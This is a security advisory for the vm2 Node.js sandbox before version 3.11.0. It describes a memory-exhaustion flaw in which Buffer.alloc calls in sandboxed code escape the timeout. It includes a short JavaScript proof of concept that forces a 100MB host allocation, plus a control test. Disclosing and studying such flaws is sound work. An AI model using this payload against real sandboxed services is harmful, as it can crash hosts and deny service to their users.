Allocation of Resources Without Limits or Throttling Affecting vm2 package, versions <3.11.0

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Buffer.alloc family in lib/setup-sandbox.js. An attacker can crash the host process by supplying a large allocation size to Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, or the deprecated Buffer(N) / new Buffer(N) forms inside sandboxed code. These calls execute as a single synchronous host C++ allocation, so a small sandbox payload can force a large RSS spike that exhausts memory in constrained deployments such as containers or serverless runtimes.

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

• GitHub Commit
• GitHub Commit
• GitHub Release
• Maintainer's Advisory